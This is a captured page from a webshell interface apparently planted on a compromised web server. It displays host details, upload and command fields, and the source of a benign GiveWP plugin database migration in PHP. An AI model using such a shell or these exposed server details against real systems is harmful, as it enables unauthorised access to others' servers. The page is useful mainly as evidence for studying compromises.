403Webshell
Server IP : 192.158.238.246  /  Your IP : 216.73.216.40
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/cwd/plugins/give/src/DonationForms/Migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/cwd/plugins/give/src/DonationForms/Migrations/CleanMultipleSlashesOnDB.php
<?php

namespace Give\DonationForms\Migrations;

use Give\DonationForms\ValueObjects\DonationFormMetaKeys;
use Give\Framework\Database\DB;
use Give\Framework\Migrations\Contracts\Migration;

/**
 * @since 3.2.0
 */
class CleanMultipleSlashesOnDB extends Migration
{
    /**
     * @since 3.2.0
     */
    public function run()
    {
        $formMetaTable = DB::prefix('give_formmeta');

        /**
         * For some reason, these 24 backslashes used in the SQL instruction became 12 when we passed it to the $sql var,
         * and became 6 when it runs on the database, which represents a sequence of only 3 backslashes as we need 2 of
         * them to escape just 1 as you can check here: https://dev.mysql.com/doc/refman/8.0/en/string-literals.html
         */
        $sql = DB::prepare("SELECT * FROM $formMetaTable as fm
         WHERE fm.meta_key = 'formBuilderSettings' AND fm.meta_value LIKE '%\\\\\\\\\\\\\\\\\\\\\\\\%'");

        $items = DB::get_results($sql);

        foreach ($items as $item) {
            $settings = $this->cleanMultipleSlashes(json_decode($item->meta_value, true, JSON_UNESCAPED_SLASHES));

            DB::table('give_formmeta')
                ->where('form_id', $item->form_id)
                ->where('meta_key', DonationFormMetaKeys::SETTINGS()->getValue())
                ->update([
                    'meta_value' => json_encode($settings),
                ]);
        }
    }

    /**
     * @inheritdoc
     */
    public static function id()
    {
        return 'donation-forms-clean-multiple-slashes-on-db';
    }

    /**
     * @inheritdoc
     */
    public static function title()
    {
        return 'Clean multiple slashes in the formBuilderSettings meta value';
    }

    /**
     * @inheritdoc
     */
    public static function timestamp()
    {
        return strtotime('2023-20-11');
    }

    /**
     * @since 3.2.0
     */
    public function cleanMultipleSlashes($var)
    {
        if (is_array($var)) {
            return array_map([$this, 'cleanMultipleSlashes'], $var);
        } else {
            return is_string($var) ? deslash($var) : $var;
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit